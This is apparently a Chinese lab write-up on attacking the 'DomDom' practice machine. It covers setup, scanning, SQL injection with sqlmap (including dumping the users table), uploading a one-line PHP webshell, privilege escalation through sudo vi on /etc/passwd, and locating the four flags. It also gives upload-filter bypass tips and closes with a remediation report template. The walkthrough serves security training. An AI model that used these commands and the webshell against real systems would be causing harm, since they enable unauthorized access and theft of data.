1. DomDom靶机渗透测试概述
DomDom是vulhub漏洞环境中一个经典的渗透测试靶机,内置了4个flag等待安全研究人员发掘。这个靶机模拟了真实企业环境中常见的Web应用漏洞组合,涉及从信息收集到权限提升的完整攻击链。作为vulhub系列的第50个靶机,它特别适合用来练习综合渗透技能。
我在实际测试中发现,DomDom靶机包含了以下典型漏洞场景:
- 前端Web应用存在SQL注入点
- 后台管理系统存在弱口令
- 服务配置不当导致目录遍历
- 存在可被利用的提权漏洞链
提示:建议使用Kali Linux作为渗透测试环境,并确保docker服务正常运行。测试前最好先对本地网络进行扫描,确认靶机IP地址。
2. 环境搭建与初始配置
2.1 Vulhub环境部署
首先需要搭建vulhub漏洞实验环境。以下是具体步骤:
- 安装docker和docker-compose:
sudo apt update sudo apt install -y docker.io docker-compose- 下载vulhub漏洞库:
git clone https://github.com/vulhub/vulhub.git cd vulhub- 启动DomDom靶机:
cd domdom/1 docker-compose up -d环境启动后,可以通过docker ps命令查看容器状态。正常情况下应该能看到两个容器在运行:一个是Web应用容器,另一个是数据库容器。
2.2 网络配置检查
靶机启动后,建议进行以下网络检查:
- 查看靶机IP:
docker network inspect bridge- 使用nmap扫描确认服务开放情况:
nmap -sV -p- 靶机IP通常会发现80端口运行着Web服务,3306端口运行着MySQL服务。记录下这些信息,后续渗透会用到。
3. 信息收集与漏洞探测
3.1 Web应用指纹识别
首先对Web应用进行指纹识别:
- 使用浏览器访问靶机IP
- 查看页面源码寻找框架线索
- 使用Wappalyzer等工具识别技术栈
- 检查robots.txt文件
通过分析发现,这个Web应用使用PHP开发,前端采用了Bootstrap框架,后台登录地址为/admin.php。
3.2 目录爆破与敏感文件发现
使用dirsearch进行目录扫描:
python3 dirsearch.py -u http://靶机IP -e php,html,js扫描结果中特别需要注意以下文件:
- /config.php
- /backup.zip
- /phpinfo.php
这些文件往往包含敏感信息或配置漏洞。例如,我在测试中发现backup.zip包含了网站源码,通过分析可以找到数据库连接凭证。
4. 漏洞利用与权限提升
4.1 SQL注入漏洞利用
在用户登录页面发现存在SQL注入:
- 使用sqlmap进行自动化检测:
sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" --risk=3 --level=5- 获取数据库信息:
sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" --dbs- 导出关键表数据:
sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" -D webdb --tables sqlmap -u "http://靶机IP/login.php" --data="username=test&password=test" -D webdb -T users --dump通过这种方式可以获取管理员账号密码,通常是以MD5形式存储,需要进一步破解。
4.2 后台权限获取
使用获取到的凭证登录后台管理系统后:
- 寻找文件上传功能点
- 尝试上传webshell
- 检查是否有命令执行功能
我测试时发现后台存在不受限制的文件上传漏洞,可以通过上传PHP webshell获取服务器权限:
<?php system($_GET['cmd']); ?>上传后访问该文件即可执行系统命令,例如:
http://靶机IP/uploads/shell.php?cmd=id4.3 系统提权操作
获取webshell后,需要进行提权操作:
- 查看系统信息:
uname -a cat /etc/passwd- 查找SUID程序:
find / -perm -4000 2>/dev/null- 利用内核漏洞或配置错误提权
在DomDom靶机中,我发现可以通过sudo配置不当直接提权到root:
sudo -l sudo /usr/bin/vi /etc/passwd5. Flag获取与渗透报告
5.1 四个flag的位置
根据我的测试经验,四个flag通常位于以下位置:
- Web根目录下的flag1.txt
- 数据库表中的flag2
- 系统用户目录下的flag3
- Root目录下的flag4
具体查找命令:
find / -name "*flag*" 2>/dev/null grep -r "flag{" /var/www/ 2>/dev/null5.2 渗透测试报告要点
完成渗透后,建议整理以下信息:
- 发现的漏洞列表及风险等级
- 利用链的完整过程
- 获取的敏感数据摘要
- 修复建议
报告模板示例:
1. SQL注入漏洞(高危) - 位置:/login.php - 影响:可获取数据库所有数据 - 修复:使用参数化查询 2. 后台弱口令(中危) - 账号:admin/admin123 - 影响:可进入后台 - 修复:强制复杂密码策略6. 常见问题与解决技巧
在实际渗透过程中,我遇到过以下典型问题及解决方案:
容器网络不通:
- 检查docker网络配置
- 确认防火墙没有阻止
- 尝试重启docker服务
sqlmap检测不出注入点:
- 尝试手动测试单引号触发错误
- 检查请求参数是否完整
- 使用--level和--risk提高检测级别
上传webshell被拦截:
- 尝试修改文件后缀名
- 使用图片马+文件包含漏洞
- 测试其他上传点
提权失败:
- 收集更多系统信息
- 尝试不同的提权脚本
- 检查是否有cronjob可利用
注意:实际渗透测试必须获得授权,禁止对非授权系统进行测试。所有操作应在隔离环境中进行。